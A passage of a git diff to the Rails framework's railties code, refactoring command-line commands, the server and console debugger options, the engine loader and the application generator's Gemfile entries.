+ exit_with_initialization_warning!
+ end
+ end
+
+ def version
+ argv.unshift '--version'
+ require_command!("application")
+ end
+
+ def help
+ write_help_message
+ end
+
+ private
+
+ def exit_with_initialization_warning!
+ puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
+ puts "Type 'rails' for help."
+ exit(1)
+ end
+
+ def shift_argv!
+ argv.shift if argv.first && argv.first[0] != '-'
+ end
+
+ def require_command!(command)
+ require "rails/commands/#{command}"
+ end
+
+ def generate_or_destroy(command)
+ require 'rails/generators'
+ require_application_and_environment!
+ Rails.application.load_generators
+ require "rails/commands/#{command}"
+ end
+
+ # Change to the application's path if there is no config.ru file in current directory.
+ # This allows us to run `rails server` from other directories, but still get
+ # the main config.ru and properly set the tmp directory.
+ def set_application_directory!
+ Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
+ end
+
+ def require_application_and_environment!
+ require APP_PATH
+ Rails.application.require_environment!
+ end
+
+ def write_help_message
+ puts HELP_MESSAGE
+ end
+
+ def write_error_message(command)
+ puts "Error: Command '#{command}' not recognized"
+ if %x{rake #{command} --dry-run 2>&1 } && $?.success?
+ puts "Did you mean: `$ rake #{command}` ?\n\n"
+ end
+ write_help_message
+ exit(1)
+ end
+
+ def parse_command(command)
+ case command
+ when '--version', '-v'
+ 'version'
+ when '--help', '-h'
+ 'help'
+ else
+ command
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/commands/console.rb b/railties/lib/rails/commands/console.rb
index f6bdf129d6..555d8f31e1 100644
--- a/railties/lib/rails/commands/console.rb
+++ b/railties/lib/rails/commands/console.rb
@@ -18,7 +18,14 @@ module Rails
opt.on("-e", "--environment=name", String,
"Specifies the environment to run this console under (test/development/production).",
"Default: development") { |v| options[:environment] = v.strip }
- opt.on("--debugger", 'Enable the debugger.') { |v| options[:debugger] = v }
+ opt.on("--debugger", 'Enable the debugger.') do |v|
+ if RUBY_VERSION < '2.0.0'
+ options[:debugger] = v
+ else
+ puts "=> Notice: debugger option is ignored since ruby 2.0 and " \
+ "it will be removed in future versions"
+ end
+ end
opt.parse!(arguments)
end
@@ -69,12 +76,25 @@ module Rails
Rails.env = environment
end
- def debugger?
- options[:debugger]
+ if RUBY_VERSION < '2.0.0'
+ def debugger?
+ options[:debugger]
+ end
+
+ def require_debugger
+ require 'debugger'
+ puts "=> Debugger enabled"
+ rescue LoadError
+ puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle it and try again."
+ exit(1)
+ end
end
def start
- require_debugger if debugger?
+ if RUBY_VERSION < '2.0.0'
+ require_debugger if debugger?
+ end
+
set_environment! if environment?
if sandbox?
@@ -89,13 +109,5 @@ module Rails
end
console.start
end
-
- def require_debugger
- require 'debugger'
- puts "=> Debugger enabled"
- rescue LoadError
- puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle it and try again."
- exit(1)
- end
end
end
diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb
index 3e4cc787c4..f6d8aec30d 100644
--- a/railties/lib/rails/commands/dbconsole.rb
+++ b/railties/lib/rails/commands/dbconsole.rb
@@ -81,14 +81,11 @@ module Rails
def config
@config ||= begin
- cfg = begin
- YAML.load(ERB.new(IO.read("config/database.yml")).result)
- rescue SyntaxError, StandardError
- require APP_PATH
- Rails.application.config.database_configuration
+ if configurations[environment].blank?
+ raise ActiveRecord::AdapterNotSpecified, "'#{environment}' database is not configured. Available configuration: #{configurations.inspect}"
+ else
+ configurations[environment]
end
-
- cfg[environment] || abort("No database is configured for the environment '#{environment}'")
end
end
@@ -102,6 +99,12 @@ module Rails
protected
+ def configurations
+ require APP_PATH
+ ActiveRecord::Base.configurations = Rails.application.config.database_configuration
+ ActiveRecord::Base.configurations
+ end
+
def parse_arguments(arguments)
options = {}
diff --git a/railties/lib/rails/commands/plugin.rb b/railties/lib/rails/commands/plugin.rb
new file mode 100644
index 0000000000..95bbdd4cdf
--- /dev/null
+++ b/railties/lib/rails/commands/plugin.rb
@@ -0,0 +1,23 @@
+if ARGV.first != "new"
+ ARGV[0] = "--help"
+else
+ ARGV.shift
+ unless ARGV.delete("--no-rc")
+ customrc = ARGV.index{ |x| x.include?("--rc=") }
+ railsrc = if customrc
+ File.expand_path(ARGV.delete_at(customrc).gsub(/--rc=/, ""))
+ else
+ File.join(File.expand_path("~"), '.railsrc')
+ end
+ if File.exist?(railsrc)
+ extra_args_string = File.read(railsrc)
+ extra_args = extra_args_string.split(/\n+/).flat_map {|l| l.split}
+ puts "Using #{extra_args.join(" ")} from #{railsrc}"
+ ARGV.insert(1, *extra_args)
+ end
+ end
+end
+
+require 'rails/generators'
+require 'rails/generators/rails/plugin/plugin_generator'
+Rails::Generators::PluginGenerator.start
diff --git a/railties/lib/rails/commands/plugin_new.rb b/railties/lib/rails/commands/plugin_new.rb
deleted file mode 100644
index 4d7bf3c9f3..0000000000
--- a/railties/lib/rails/commands/plugin_new.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-if ARGV.first != "new"
- ARGV[0] = "--help"
-else
- ARGV.shift
-end
-
-require 'rails/generators'
-require 'rails/generators/rails/plugin_new/plugin_new_generator'
-Rails::Generators::PluginNewGenerator.start \ No newline at end of file
diff --git a/railties/lib/rails/commands/runner.rb b/railties/lib/rails/commands/runner.rb
index 2b77d5d387..3a71f8d3f8 100644
--- a/railties/lib/rails/commands/runner.rb
+++ b/railties/lib/rails/commands/runner.rb
@@ -9,7 +9,7 @@ if ARGV.first.nil?
end
ARGV.clone.options do |opts|
- opts.banner = "Usage: rails runner [options] ('Some.ruby(code)' or a filename)"
+ opts.banner = "Usage: rails runner [options] [<'Some.ruby(code)'> | <filename.rb>]"
opts.separator ""
@@ -22,14 +22,23 @@ ARGV.clone.options do |opts|
opts.on("-h", "--help",
"Show this help message.") { $stdout.puts opts; exit }
+ opts.separator ""
+ opts.separator "Examples: "
+
+ opts.separator " rails runner 'puts Rails.env'"
+ opts.separator " This runs the code `puts Rails.env` after loading the app"
+ opts.separator ""
+ opts.separator " rails runner path/to/filename.rb"
+ opts.separator " This runs the Ruby file located at `path/to/filename.rb` after loading the app"
+
if RbConfig::CONFIG['host_os'] !~ /mswin|mingw/
opts.separator ""
opts.separator "You can also use runner as a shebang line for your executables:"
- opts.separator "-------------------------------------------------------------"
- opts.separator "#!/usr/bin/env #{File.expand_path($0)} runner"
+ opts.separator " -------------------------------------------------------------"
+ opts.separator " #!/usr/bin/env #{File.expand_path($0)} runner"
opts.separator ""
- opts.separator "Product.all.each { |p| p.price *= 2 ; p.save! }"
- opts.separator "-------------------------------------------------------------"
+ opts.separator " Product.all.each { |p| p.price *= 2 ; p.save! }"
+ opts.separator " -------------------------------------------------------------"
end
opts.order! { |o| code_or_file ||= o } rescue retry
@@ -50,5 +59,5 @@ elsif File.exist?(code_or_file)
$0 = code_or_file
Kernel.load code_or_file
else
- eval(code_or_file)
+ eval(code_or_file, binding, __FILE__, __LINE__)
end
diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb
index 87d6505ed5..6146b6c1db 100644
--- a/railties/lib/rails/commands/server.rb
+++ b/railties/lib/rails/commands/server.rb
@@ -1,6 +1,7 @@
require 'fileutils'
require 'optparse'
require 'action_dispatch'
+require 'rails'
module Rails
class Server < ::Rack::Server
@@ -17,11 +18,18 @@ module Rails
opts.on("-c", "--config=file", String,
"Use custom rackup configuration file") { |v| options[:config] = v }
opts.on("-d", "--daemon", "Make server run as a Daemon.") { options[:daemonize] = true }
- opts.on("-u", "--debugger", "Enable the debugger") { options[:debugger] = true }
+ opts.on("-u", "--debugger", "Enable the debugger") do
+ if RUBY_VERSION < '2.0.0'
+ options[:debugger] = true
+ else
+ puts "=> Notice: debugger option is ignored since ruby 2.0 and " \
+ "it will be removed in future versions"
+ end
+ end
opts.on("-e", "--environment=name", String,
"Specifies the environment to run this server under (test/development/production).",
"Default: development") { |v| options[:environment] = v }
- opts.on("-P","--pid=pid",String,
+ opts.on("-P", "--pid=pid", String,
"Specifies the PID file.",
"Default: tmp/pids/server.pid") { |v| options[:pid] = v }
@@ -32,7 +40,8 @@ module Rails
opt_parser.parse! args
- options[:server] = args.shift
+ options[:log_stdout] = options[:daemonize].blank? && (options[:environment] || Rails.env) == "development"
+ options[:server] = args.shift
options
end
end
@@ -59,30 +68,10 @@ module Rails
end
def start
- url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
- puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
- puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
- puts "=> Run `rails server -h` for more startup options"
- if options[:Host].to_s.match(/0\.0\.0\.0/)
- puts "=> Notice: server is listening on all interfaces (#{options[:Host]}). Consider using 127.0.0.1 (--binding option)"
- end
+ print_boot_information
trap(:INT) { exit }
- puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
-
- #Create required tmp directories if not found
- %w(cache pids sessions sockets).each do |dir_to_make|
- FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
- end
-
- unless options[:daemonize]
- wrapped_app # touch the app so the logger is set up
-
- console = ActiveSupport::Logger.new($stdout)
- console.formatter = Rails.logger.formatter
- console.level = Rails.logger.level
-
- Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
- end
+ create_tmp_directories
+ log_to_stdout if options[:log_stdout]
super
ensure
@@ -93,7 +82,9 @@ module Rails
def middleware
middlewares = []
- middlewares << [Rails::Rack::Debugger] if options[:debugger]
+ if RUBY_VERSION < '2.0.0'
+ middlewares << [Rails::Rack::Debugger] if options[:debugger]
+ end
middlewares << [::Rack::ContentLength]
# FIXME: add Rack::Lock in the case people are using webrick.
@@ -113,14 +104,45 @@ module Rails
def default_options
super.merge({
- Port: 3000,
- DoNotReverseLookup: true,
- environment: (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup,
- daemonize: false,
- debugger: false,
- pid: File.expand_path("tmp/pids/server.pid"),
- config: File.expand_path("config.ru")
+ Port: 3000,
+ DoNotReverseLookup: true,
+ environment: (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup,
+ daemonize: false,
+ debugger: false,
+ pid: File.expand_path("tmp/pids/server.pid"),
+ config: File.expand_path("config.ru")
})
end
+
+ private
+
+ def print_boot_information
+ url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
+ puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
+ puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
+ puts "=> Run `rails server -h` for more startup options"
+
+ if options[:Host].to_s.match(/0\.0\.0\.0/)
+ puts "=> Notice: server is listening on all interfaces (#{options[:Host]}). Consider using 127.0.0.1 (--binding option)"
+ end
+
+ puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+ end
+
+ def create_tmp_directories
+ %w(cache pids sessions sockets).each do |dir_to_make|
+ FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+ end
+ end
+
+ def log_to_stdout
+ wrapped_app # touch the app so the logger is set up
+
+ console = ActiveSupport::Logger.new($stdout)
+ console.formatter = Rails.logger.formatter
+ console.level = Rails.logger.level
+
+ Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+ end
end
end
diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb
index 15d13d5f28..f5d7dede66 100644
--- a/railties/lib/rails/configuration.rb
+++ b/railties/lib/rails/configuration.rb
@@ -1,4 +1,3 @@
-require 'active_support/deprecation'
require 'active_support/ordered_options'
require 'active_support/core_ext/object'
require 'rails/paths'
@@ -60,6 +59,10 @@ module Rails
@operations << [__method__, args, block]
end
+ def unshift(*args, &block)
+ @operations << [__method__, args, block]
+ end
+
def merge_into(other) #:nodoc:
@operations.each do |operation, args, block|
other.send(operation, *args, &block)
diff --git a/railties/lib/rails/console/helpers.rb b/railties/lib/rails/console/helpers.rb
index 230d3d9d04..b775f1ff8d 100644
--- a/railties/lib/rails/console/helpers.rb
+++ b/railties/lib/rails/console/helpers.rb
@@ -1,9 +1,15 @@
module Rails
module ConsoleMethods
+ # Gets the helper methods available to the controller.
+ #
+ # This method assumes an +ApplicationController+ exists, and it extends +ActionController::Base+
def helper
@helper ||= ApplicationController.helpers
end
+ # Gets a new instance of a controller object.
+ #
+ # This method assumes an +ApplicationController+ exists, and it extends +ActionController::Base+
def controller
@controller ||= ApplicationController.new
end
diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb
index 8000fc3b1e..b36ab3d0d5 100644
--- a/railties/lib/rails/engine.rb
+++ b/railties/lib/rails/engine.rb
@@ -2,7 +2,6 @@ require 'rails/railtie'
require 'rails/engine/railties'
require 'active_support/core_ext/module/delegation'
require 'pathname'
-require 'rbconfig'
module Rails
# <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of
@@ -102,7 +101,7 @@ module Rails
# paths["config"] # => ["config"]
# paths["config/initializers"] # => ["config/initializers"]
# paths["config/locales"] # => ["config/locales"]
- # paths["config/routes"] # => ["config/routes.rb"]
+ # paths["config/routes.rb"] # => ["config/routes.rb"]
# end
#
# The <tt>Application</tt> class adds a couple more paths to this set. And as in your
@@ -260,7 +259,7 @@ module Rails
#
# class FooController < ApplicationController
# def index
- # my_engine.root_url #=> /my_engine/
+ # my_engine.root_url # => /my_engine/
# end
# end
#
@@ -269,7 +268,7 @@ module Rails
# module MyEngine
# class BarController
# def index
- # main_app.foo_path #=> /foo
+ # main_app.foo_path # => /foo
# end
# end
# end
@@ -351,8 +350,13 @@ module Rails
Rails::Railtie::Configuration.eager_load_namespaces << base
base.called_from = begin
- # Remove the line number from backtraces making sure we don't leave anything behind
- call_stack = caller.map { |p| p.sub(/:\d+.*/, '') }
+ call_stack = if Kernel.respond_to?(:caller_locations)
+ caller_locations.map(&:path)
+ else
+ # Remove the line number from backtraces making sure we don't leave anything behind
+ caller.map { |p| p.sub(/:\d+.*/, '') }
+ end
+
File.dirname(call_stack.detect { |p| p !~ %r[railties[\w.-]*/lib/rails|rack[\w.-]*/lib/rack] })
end
end
@@ -367,7 +371,7 @@ module Rails
end
def isolate_namespace(mod)
- engine_name(generate_railtie_name(mod))
+ engine_name(generate_railtie_name(mod.name))
self.routes.default_scope = { module: ActiveSupport::Inflector.underscore(mod.name) }
self.isolated = true
@@ -425,7 +429,6 @@ module Rails
# Load console and invoke the registered hooks.
# Check <tt>Rails::Railtie.console</tt> for more info.
def load_console(app=self)
- require "pp"
require "rails/console/app"
require "rails/console/helpers"
run_console_blocks(app)
@@ -460,7 +463,7 @@ module Rails
# files inside eager_load paths.
def eager_load!
config.eager_load_paths.each do |load_path|
- matcher = /\A#{Regexp.escape(load_path)}\/(.*)\.rb\Z/
+ matcher = /\A#{Regexp.escape(load_path.to_s)}\/(.*)\.rb\Z/
Dir.glob("#{load_path}/**/*.rb").sort.each do |file|
require_dependency file.sub(matcher, '\1')
end
@@ -606,7 +609,7 @@ module Rails
initializer :load_config_initializers do
config.paths["config/initializers"].existent.sort.each do |initializer|
- load(initializer)
+ load_config_initializer(initializer)
end
end
@@ -640,6 +643,12 @@ module Rails
protected
+ def load_config_initializer(initializer)
+ ActiveSupport::Notifications.instrument('load_config_initializer.railties', initializer: initializer) do
+ load(initializer)
+ end
+ end
+
def run_tasks_blocks(*) #:nodoc:
super
paths["lib/tasks"].existent.sort.each { |ext| load(ext) }
diff --git a/railties/lib/rails/engine/railties.rb b/railties/lib/rails/engine/railties.rb
index 1081700cd0..9969a1475d 100644
--- a/railties/lib/rails/engine/railties.rb
+++ b/railties/lib/rails/engine/railties.rb
@@ -9,10 +9,6 @@ module Rails
::Rails::Engine.subclasses.map(&:instance)
end
- def self.engines
- @engines ||= ::Rails::Engine.subclasses.map(&:instance)
- end
-
def each(*args, &block)
_all.each(*args, &block)
end
@@ -20,10 +16,6 @@ module Rails
def -(others)
_all - others
end
-
- delegate :engines, to: "self.class"
end
end
end
-
-ActiveSupport::Deprecation.deprecate_methods(Rails::Engine::Railties, :engines)
diff --git a/railties/lib/rails/gem_version.rb b/railties/lib/rails/gem_version.rb
new file mode 100644
index 0000000000..c7397c4f15
--- /dev/null
+++ b/railties/lib/rails/gem_version.rb
@@ -0,0 +1,15 @@
+module Rails
+ # Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 4
+ MINOR = 2
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb
index 4b767ea0c6..dce734b54e 100644
--- a/railties/lib/rails/generators.rb
+++ b/railties/lib/rails/generators.rb
@@ -1,6 +1,8 @@
activesupport_path = File.expand_path('../../../../activesupport/lib', __FILE__)
$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
+require 'thor/group'
+
require 'active_support'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/kernel/singleton_class'
@@ -9,12 +11,11 @@ require 'active_support/core_ext/hash/deep_merge'
require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/string/inflections'
-require 'rails/generators/base'
-
module Rails
module Generators
autoload :Actions, 'rails/generators/actions'
autoload :ActiveModel, 'rails/generators/active_model'
+ autoload :Base, 'rails/generators/base'
autoload :Migration, 'rails/generators/migration'
autoload :NamedBase, 'rails/generators/named_base'
autoload :ResourceHelpers, 'rails/generators/resource_helpers'
@@ -225,7 +226,7 @@ module Rails
rails = groups.delete("rails")
rails.map! { |n| n.sub(/^rails:/, '') }
rails.delete("app")
- rails.delete("plugin_new")
+ rails.delete("plugin")
print_list("rails", rails)
hidden_namespaces.each { |n| groups.delete(n.to_s) }
diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb
index 366c72ebaa..625f031c94 100644
--- a/railties/lib/rails/generators/actions.rb
+++ b/railties/lib/rails/generators/actions.rb
@@ -9,7 +9,7 @@ module Rails
@in_group = nil
end
- # Adds an entry into Gemfile for the supplied gem.
+ # Adds an entry into +Gemfile+ for the supplied gem.
#
# gem "rspec", group: :test
# gem "technoweenie-restful-authentication", lib: "restful-authentication", source: "http://gems.github.com/"
@@ -61,7 +61,7 @@ module Rails
end
end
- # Add the given source to Gemfile
+ # Add the given source to +Gemfile+
#
# add_source "http://gems.github.com/"
def add_source(source, options={})
@@ -72,10 +72,10 @@ module Rails
end
end
- # Adds a line inside the Application class for config/application.rb.
+ # Adds a line inside the Application class for <tt>config/application.rb</tt>.
#
- # If options :env is specified, the line is appended to the corresponding
- # file in config/environments.
+ # If options <tt>:env</tt> is specified, the line is appended to the corresponding
+ # file in <tt>config/environments</tt>.
#
# environment do
# "config.autoload_paths += %W(#{config.root}/extras)"
@@ -116,7 +116,7 @@ module Rails
end
end
- # Create a new file in the vendor/ directory. Code can be specified
+ # Create a new file in the <tt>vendor/</tt> directory. Code can be specified
# in a block or a data string can be given.
#
# vendor("sekrit.rb") do
@@ -143,7 +143,7 @@ module Rails
create_file("lib/#{filename}", data, verbose: false, &block)
end
- # Create a new Rakefile with the provided code (either in a block or a string).
+ # Create a new +Rakefile+ with the provided code (either in a block or a string).
#
# rakefile("bootstrap.rake") do
# project = ask("What is the UNIX name of your project?")
@@ -188,7 +188,7 @@ module Rails
# generate(:authenticated, "user session")
def generate(what, *args)
log :generate, what
- argument = args.map {|arg| arg.to_s }.flatten.join(" ")
+ argument = args.flat_map {|arg| arg.to_s }.join(" ")
in_root { run_ruby_script("bin/rails generate #{what} #{argument}", verbose: false) }
end
@@ -213,7 +213,7 @@ module Rails
in_root { run("#{extify(:capify)} .", verbose: false) }
end
- # Make an entry in Rails routing file config/routes.rb
+ # Make an entry in Rails routing file <tt>config/routes.rb</tt>
#
# route "root 'welcome#index'"
def route(routing_code)
diff --git a/railties/lib/rails/generators/actions/create_migration.rb b/railties/lib/rails/generators/actions/create_migration.rb
new file mode 100644
index 0000000000..cf3b7acfff
--- /dev/null
+++ b/railties/lib/rails/generators/actions/create_migration.rb
@@ -0,0 +1,68 @@
+require 'thor/actions'
+
+module Rails
+ module Generators
+ module Actions
+ class CreateMigration < Thor::Actions::CreateFile
+
+ def migration_dir
+ File.dirname(@destination)
+ end
+
+ def migration_file_name
+ @base.migration_file_name
+ end
+
+ def identical?
+ exists? && File.binread(existing_migration) == render
+ end
+
+ def revoke!
+ say_destination = exists? ? relative_existing_migration : relative_destination
+ say_status :remove, :red, say_destination
+ return unless exists?
+ ::FileUtils.rm_rf(existing_migration) unless pretend?
+ existing_migration
+ end
+
+ def relative_existing_migration
+ base.relative_to_original_destination_root(existing_migration)
+ end
+
+ def existing_migration
+ @existing_migration ||= begin
+ @base.class.migration_exists?(migration_dir, migration_file_name) ||
+ File.exist?(@destination) && @destination
+ end
+ end
+ alias :exists? :existing_migration
+
+ protected
+
+ def on_conflict_behavior(&block)
+ options = base.options.merge(config)
+ if identical?
+ say_status :identical, :blue, relative_existing_migration
+ elsif options[:force]
+ say_status :remove, :green, relative_existing_migration
+ say_status :create, :green
+ unless pretend?
+ ::FileUtils.rm_rf(existing_migration)
+ block.call
+ end
+ elsif options[:skip]
+ say_status :skip, :yellow
+ else
+ say_status :conflict, :red
+ raise Error, "Another migration is already named #{migration_file_name}: " +
+ "#{existing_migration}. Use --force to replace this migration file."
+ end
+ end
+
+ def say_status(status, color, message = relative_destination)
+ base.shell.say_status(status, message, color) if config[:verbose]
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/active_model.rb b/railties/lib/rails/generators/active_model.rb
index e5373704d7..6183944bb0 100644
--- a/railties/lib/rails/generators/active_model.rb
+++ b/railties/lib/rails/generators/active_model.rb
@@ -1,5 +1,3 @@
-require 'active_support/deprecation'
-
module Rails
module Generators
# ActiveModel is a class to be implemented by each ORM to allow Rails to
@@ -65,12 +63,6 @@ module Rails
"#{name}.update(#{params})"
end
- def update_attributes(*args) # :nodoc:
- ActiveSupport::Deprecation.warn("Calling '@orm_instance.update_attributes' " \
- "is deprecated, please use '@orm_instance.update' instead.")
- update(*args)
- end
-
# POST create
# PATCH/PUT update
def errors
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
index 675ada7ed0..569afe8104 100644
--- a/railties/lib/rails/generators/app_base.rb
+++ b/railties/lib/rails/generators/app_base.rb
@@ -1,10 +1,10 @@
require 'digest/md5'
-require 'securerandom'
require 'active_support/core_ext/string/strip'
require 'rails/version' unless defined?(Rails::VERSION)
-require 'rbconfig'
require 'open-uri'
require 'uri'
+require 'rails/generators'
+require 'active_support/core_ext/array/extract_options'
module Rails
module Generators
@@ -18,6 +18,10 @@ module Rails
argument :app_path, type: :string
+ def self.strict_args_position
+ false
+ end
+
def self.add_shared_options_for(name)
class_option :template, type: :string, aliases: '-m',
desc: "Path to some #{name} template (can be a filesystem path or URL)"
@@ -37,9 +41,15 @@ module Rails
class_option :skip_active_record, type: :boolean, aliases: '-O', default: false,
desc: 'Skip Active Record files'
+ class_option :skip_action_view, type: :boolean, aliases: '-V', default: false,
+ desc: 'Skip Action View files'
+
class_option :skip_sprockets, type: :boolean, aliases: '-S', default: false,
desc: 'Skip Sprockets files'
+ class_option :skip_spring, type: :boolean, default: false,
+ desc: "Don't install Spring application preloader"
+
class_option :database, type: :string, aliases: '-d', default: 'sqlite3',
desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})"
@@ -69,13 +79,47 @@ module Rails
end
def initialize(*args)
- @original_wd = Dir.pwd
+ @gem_filter = lambda { |gem| true }
+ @extra_entries = []
super
convert_database_option_for_jruby
end
protected
+ def gemfile_entry(name, *args)
+ options = args.extract_options!
+ version = args.first
+ github = options[:github]
+ path = options[:path]
+
+ if github
+ @extra_entries << GemfileEntry.github(name, github)
+ elsif path
+ @extra_entries << GemfileEntry.path(name, path)
+ else
+ @extra_entries << GemfileEntry.version(name, version)
+ end
+ self
+ end
+
+ def gemfile_entries
+ [ rails_gemfile_entry,
+ database_gemfile_entry,
+ assets_gemfile_entry,
+ javascript_gemfile_entry,
+ jbuilder_gemfile_entry,
+ sdoc_gemfile_entry,
+ spring_gemfile_entry,
+ @extra_entries].flatten.find_all(&@gem_filter)
+ end
+
+ def add_gem_entry_filter
+ @gem_filter = lambda { |next_filter, entry|
+ yield(entry) && next_filter.call(entry)
+ }.curry[@gem_filter]
+ end
+
def builder
@builder ||= begin
builder_class = get_builder_class
@@ -89,11 +133,9 @@ module Rails
end
def create_root
- self.destination_root = File.expand_path(app_path, destination_root)
valid_const?
empty_directory '.'
- set_default_accessors!
FileUtils.cd(destination_root) unless options[:pretend]
end
@@ -104,6 +146,7 @@ module Rails
end
def set_default_accessors!
+ self.destination_root = File.expand_path(app_path, destination_root)
self.rails_template = case options[:template]
when /^https?:\/\//
options[:template]
@@ -115,37 +158,56 @@ module Rails
end
def database_gemfile_entry
- options[:skip_active_record] ? "" :
- <<-GEMFILE.strip_heredoc
- # Use #{options[:database]} as the database for Active Record
- gem '#{gem_for_database}'
- GEMFILE
+ return [] if options[:skip_active_record]
+ GemfileEntry.version gem_for_database, nil,
+ "Use #{options[:database]} as the database for Active Record"
end
def include_all_railties?
- !options[:skip_active_record] && !options[:skip_test_unit] && !options[:skip_sprockets]
+ !options[:skip_active_record] && !options[:skip_action_view] && !options[:skip_test_unit] && !options[:skip_sprockets]
end
def comment_if(value)
options[value] ? '# ' : ''
end
+ def sqlite3?
+ !options[:skip_active_record] && options[:database] == 'sqlite3'
+ end
+
+ class GemfileEntry < Struct.new(:name, :version, :comment, :options, :commented_out)
+ def initialize(name, version, comment, options = {}, commented_out = false)
+ super
+ end
+
+ def self.github(name, github, comment = nil)
+ new(name, nil, comment, github: github)
+ end
+
+ def self.version(name, version, comment = nil)
+ new(name, version, comment)
+ end
+
+ def self.path(name, path, comment = nil)
+ new(name, nil, comment, path: path)
+ end
+
+ def padding(max_width)
+ ' ' * (max_width - name.length + 2)
+ end
+ end
+
def rails_gemfile_entry
if options.dev?
- <<-GEMFILE.strip_heredoc
- gem 'rails', path: '#{Rails::Generators::RAILS_DEV_PATH}'
- gem 'arel', github: 'rails/arel'
- GEMFILE
+ [GemfileEntry.path('rails', Rails::Generators::RAILS_DEV_PATH),
+ GemfileEntry.github('arel', 'rails/arel')]
elsif options.edge?
- <<-GEMFILE.strip_heredoc
- gem 'rails', github: 'rails/rails'
- gem 'arel', github: 'rails/arel'
- GEMFILE
+ [GemfileEntry.github('rails', 'rails/rails'),
+ GemfileEntry.github('arel', 'rails/arel')]
else
- <<-GEMFILE.strip_heredoc
- # Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
- gem 'rails', '#{Rails::VERSION::STRING}'
- GEMFILE
+ [GemfileEntry.version('rails',
+ Rails::VERSION::STRING,
+ "Bundle edge Rails instead: gem 'rails', github: 'rails/rails'")]
end
end
@@ -177,77 +239,73 @@ module Rails
end
def assets_gemfile_entry
- return if options[:skip_sprockets]
-
- gemfile = if options.dev? || options.edge?
- <<-GEMFILE.strip_heredoc
- # Use edge version of sprockets-rails
- gem 'sprockets-rails', github: 'rails/sprockets-rails'
+ return [] if options[:skip_sprockets]
- # Use SCSS for stylesheets
- gem 'sass-rails', github: 'rails/sass-rails'
- GEMFILE
+ gems = []
+ if options.dev? || options.edge?
+ gems << GemfileEntry.github('sprockets-rails', 'rails/sprockets-rails',
+ 'Use edge version of sprockets-rails')
+ gems << GemfileEntry.github('sass-rails', 'rails/sass-rails',
+ 'Use SCSS for stylesheets')
else
- <<-GEMFILE.strip_heredoc
- # Use SCSS for stylesheets
- gem 'sass-rails', '~> 4.0.0.rc1'
- GEMFILE
+ gems << GemfileEntry.version('sass-rails',
+ '~> 4.0.3',
+ 'Use SCSS for stylesheets')
end
- gemfile += <<-GEMFILE.strip_heredoc
+ gems << GemfileEntry.version('uglifier',
+ '>= 1.3.0',
+ 'Use Uglifier as compressor for JavaScript assets')
- # Use Uglifier as compressor for JavaScript assets
- gem 'uglifier', '>= 1.3.0'
- GEMFILE
+ gems
+ end
- if options[:skip_javascript]
- gemfile += <<-GEMFILE
- #{coffee_gemfile_entry}
- #{javascript_runtime_gemfile_entry}
- GEMFILE
- end
+ def jbuilder_gemfile_entry
+ comment = 'Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder'
+ GemfileEntry.version('jbuilder', '~> 2.0', comment)
+ end
- gemfile.gsub(/^[ \t]+/, '')
+ def sdoc_gemfile_entry
+ comment = 'bundle exec rake doc:rails generates the API under doc/api.'
+ GemfileEntry.new('sdoc', '~> 0.4.0', comment, group: :doc)
end
def coffee_gemfile_entry
+ comment = 'Use CoffeeScript for .js.coffee assets and views'
if options.dev? || options.edge?
- <<-GEMFILE
- # Use CoffeeScript for .js.coffee assets and views
- gem 'coffee-rails', github: 'rails/coffee-rails'
- GEMFILE
+ GemfileEntry.github 'coffee-rails', 'rails/coffee-rails', comment
else
- <<-GEMFILE
- # Use CoffeeScript for .js.coffee assets and views
- gem 'coffee-rails', '~> 4.0.0'
- GEMFILE
+ GemfileEntry.version 'coffee-rails', '~> 4.0.0', comment
end
end
def javascript_gemfile_entry
- unless options[:skip_javascript]
- <<-GEMFILE.gsub(/^[ \t]+/, '')
- #{coffee_gemfile_entry}
- #{javascript_runtime_gemfile_entry}
- # Use #{options[:javascript]} as the JavaScript library
- gem '#{options[:javascript]}-rails'
-
- # Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks
- gem 'turbolinks'
- GEMFILE
+ if options[:skip_javascript]
+ []
+ else
